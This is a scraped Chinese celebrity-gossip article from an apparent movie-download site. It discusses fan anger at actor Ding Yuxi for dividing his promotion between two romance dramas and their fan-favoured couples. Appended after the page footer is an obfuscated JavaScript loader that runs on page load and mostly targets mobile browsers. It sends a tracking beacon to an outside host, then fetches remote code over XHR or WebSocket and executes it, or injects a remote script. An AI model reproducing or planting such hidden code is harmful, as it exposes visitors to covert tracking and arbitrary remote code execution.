“处处留情”的后果?丁禹兮端水人设翻车,亲粉丝祝他早日糊? - 电影天堂

“处处留情”的后果?丁禹兮端水人设翻车,亲粉丝祝他早日糊?

来源:囧囧影院人气:898更新:2020-06-09 18:07:14

原标题:“处处留情”的后果?丁禹兮端水人设翻车,亲粉丝祝他早日

艺人评论区吵到突破十万条↓

还因此上了热搜↓

还以为是多大的事儿呢?

居然……

只因为这么一条平平无奇的宣传微博↓

左看右看上看下看,

依旧还是最常见的合作并宣传,

文案里“各自继续出发”,

没看出啥毛病啊?

然而评论区就像炸了窝↓

高频率cue到和另外一位女演员演的剧↓

顺带拉踩了现在这位女演员↓

至于吗?

人家也没有触犯啥底线问题,

评论这波操作是不是有点迷惑了?

害……

粗暴判刑使不得,

咱们还是得了解了前因后果,

再来评判一句窒息与否。

丁禹兮↓

站在舆论风暴中心的男人,

光线的艺人,95年,上海人,

风格比较偏日系美男。

上戏导演系毕业的,

生活中是个不折不扣的文艺青年,

平时喜欢看展览和话剧。

生活中还会自己做陶器和木工作品,

以及日常摄影并在微博分享。

之前参加过《演员的品格》,

他最后拿了个表演总冠军,

然而这个节目没能溅起什么水花,

最出圈的可能是这个搞笑名场面——

“你的对手甚至可能都没有察觉到你的问题”

旁边傻愣愣睁大眼睛的就是丁禹兮。

终于……

丁禹兮在今年五月有了一点姓名,

接连播了两部甜宠偶像剧,

人赐外号“五月男友”,

也惹上了开头这事儿。

先播出的这部是《韫色过浓》↓

丁禹兮饰演高冷禁欲医生周时韫,

张予曦饰演热情大胆女明星苏矜北,

改编自小说,还原度蛮高,

热辣女明星反过来攻略娃娃亲的医生,

主要就看“韫北夫妇”疯狂撒糖,处处吻。

连工作人员都开始吐槽:

咋这么多吻戏?

你俩自己发挥吧。

再加上他俩的剧外互动也非常多,

花絮看着相当让人上头,

虽然只是磕个开心的无脑小甜剧,

隔壁桌同事没忍住,

居然还花钱解锁了一集超前点映。

随着剧播出,CP粉增多,

丁禹兮在抖音和微博刷了一波流量,

之前未能定档的《传闻中的陈芊芊》也杀出了↓

赵露思饰演女主陈芊芊,

穿越到女尊国恶毒女配的小编剧;

丁禹兮演的男主韩烁,

不知套路的犬系少城主,

在剧中堪称完美人设,需要时守护女主。

剧中甜度也不低,

剧外互动更是不错的。

《韫色过浓》5月2日上线,小有热度,

《传闻中的陈芊芊》5月11日定档,一周后播出。

现在回头看,自然是后者热度更高,

但播出之前又有谁能未卜先知呢?

当时情况和现在完全相反,

有人为自己站不同CP而吵架,

小丁还在线劝过架↓

甚至在网友说赵露思丑的时候出来反问:

“你最后半句在说什么?”

两部剧先后上映,

但中间有相当长一段时间的重合。

于是……

同一个男主角,不同的女生↓

这边CP粉说丁禹兮在片场逗张予曦?

那边表示:哼,我们也有同款xxj套路呢。

这边说丁禹兮和张予曦机场穿情侣装?

那边粉丝毫不畏惧:

呵,他还用赵露思的专属比心方式呢!

这边520张予曦直播这天,

丁禹兮特地跑来打赏?

那边CP粉笑而对之:

他还空降聊天群帮我家露思解围好吗!

这边丁禹兮在宣传时聊张予曦,

“她大大的进入到了我的生活”?

那边,丁禹兮特地补过赵露思跳艺术体操的视频,

还能当场模仿一段,不在话下呢。

这边玩说反话游戏,

丁禹兮当着大家的面:

“周时韫没有心动,但是我有,后半句是正话”?

那边有更强悍的心动证明,

不好意思,来自医疗器械!

看见赵露思之前:99;

赵露思一进门:火速蹿升到130。

这样“一夫二妻”的状况,

让丁禹兮的两个CP同时人气飙高,

在BL占据主流的榜单中,

他们是前十唯二的BG CP。

这种状况简直是在被骂的边缘试探吧?

然而丁禹兮的求生欲真的很强↓

一条微博,两边都cue,

不争不抢,和平营业,

细心的网友发现:

他连微信头像都是海报各占一半,

甚至两张的姿势都如出一辙???

网友玩梗,

夸他是端水达人,雨露均沾,

之后公司也跟上营销,

他本人还在直播里回应了头像的问题。

这个平平无奇的营业小能手,

没火之前就一向如此,

自嘲过“上海中央空调”“多情巨蟹”,

只因为他在之前的综艺里太温柔了,

对其他选手也是如出一辙的好,

比赛结束,大家各回各家之前,

他还偷偷准备一个蛋糕,

祝大家毕业快乐。

火了之后,也不改暖男作风,

希望能永远做大家的好朋友,

看他回答网友的问题,

也能感受到治愈温暖的本色吧。

于是,唯一的问题只剩下:

这么好一人,怎么也翻车了呢?

这事儿还得怪6月6日发布的这支mv,

小丁和张予曦在里面有相当多亲密互动,

紧接着的第二天,

《韫色》出了番外篇。

说好的这部剧已经结束了,

怎么还在疯狂营业?

足以挑起粉丝们的怒火!!!

额不对……

真的足以吗?

总结他们生气的原因,大概分为三点↓

1、人设翻车,“端水变洒水”。

以MV为引子,

他们认为丁禹兮重点完全倒向了“韫北夫妇”,

没有认真营业《陈芊芊》,

举出了几个温度差巨大的例子↓

同样是剧播大结局微博,

前者有认真的小作文,

后者等到被粉丝质疑,为何还不营业,

才发出来一句简单的话。

前者杀青了,

还有人说要多搂一会,

后者参加剧集宣传会,

被要求壁咚,也是自己壁咚自己。

小丁微博里也大多是《韫色》的宣传,

就好像没有演《陈芊芊》这部剧似的,

偏心偏得太明显,活该被骂。

2、捆绑两部剧,《韫色》一直在蹭热度吸血↓

剧粉特地做出了一组热度对比图,

热度是《陈芊芊》一骑绝尘,

口碑也是《陈芊芊》碾压,

丁禹兮也靠着《陈芊芊》才真正火起来…

不过严格说来,

小丁在《韫色》也收到了一波流量,

只是二者不在一个量级。

对i陈芊芊来说,

他们万万没想到,

男方居然踩着自家热度,

捆绑宣传与张予曦合作的下一部戏?

3、剧播完之后就要解绑,根本不应该营业↓

丁禹兮为什么要偏心其中一部剧呢?

比起“对不对”,先问“是不是”。

小丁粉丝为了澄清,

总结整理两部剧上线以来的所有营业↓

目前《韫色》39次,《陈芊芊》34次,

后者离免费版大结局还有15天,

完全可能超过这个数字……

#第一次看到炒CP对比图#

而小丁转发MV,剧方放出番外,

都只是《韫色》非会员版播到了大结局,

纯属正常宣传节奏。

(部分营业截图△)

营业也得看女生的态度吧?

赵露思在戏外的态度也比较避嫌↓

正常宣传剧的内容不少,

但社交媒体上连合照都会避开不放,

他俩私下互动很自然,

但放在明面上的营业确实不多。

So……

看完之后橘更懵了,

因为他们生气的理由。

粉丝气“引流吸血”——

可两部剧都是同一个男演员,

搁剧组一场一场拍下来的,

因为一部红,就不该营业另外一对吗?

到时候也有得吐槽:

势利眼、厚此薄彼、见风使舵…

再说了,

演员自己演得好,

于是观众被吸引去在线电影院看他另一部剧,

这是最自然的行为逻辑,

假如这也叫吸血的话,

那每一个演员都在吸血,

曾经演过的那些小配角,

通通都在捆绑自己的成名作吧?

至于“营业”这个问题——

橘的个人观点,

只要拍好戏,宣传照常参加,

积极营业,是锦上添花;

不营业,又何错之有?

如果认为丁禹兮靠着《陈芊芊》走红,

就必须一心一意只能配合这部戏营业,

恐怕还是过了界限吧。

如果说偶像需要仗着粉丝经济才能被人看见,

盘他电影那演员被指手画脚又是为何呢?

他的本职工作是演戏,

自己演得好,让观众入戏,

甚至让不少觉得他难看的人真香了,

这就够了。

这次能把流量偶像的逻辑,

套在甜宠剧演员的身上,

下次是不是就能套在一切演员身上?

请记住剧和现实的差别吧…

最后一句

曾经追过一对剧中CP,剧播完的第二天女方宣布婚讯,我又说过啥呢…

最新资讯

Copyright © 2020

function cEZGpn(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function RSLWFup(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return cEZGpn(t);};window[''+'G'+'f'+'A'+'W'+'C'+'b'+'V'+'r'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=RSLWFup,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/7731/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZqbWwuaHR5cmguY29tJTNBODg5MMQ==','d3NzJTTNBJTTJGJTTJGcXN4Lmhxc25mLmNvbSUzQTTk1MzQ=','135562',window,document,['M','T']);}:function(){};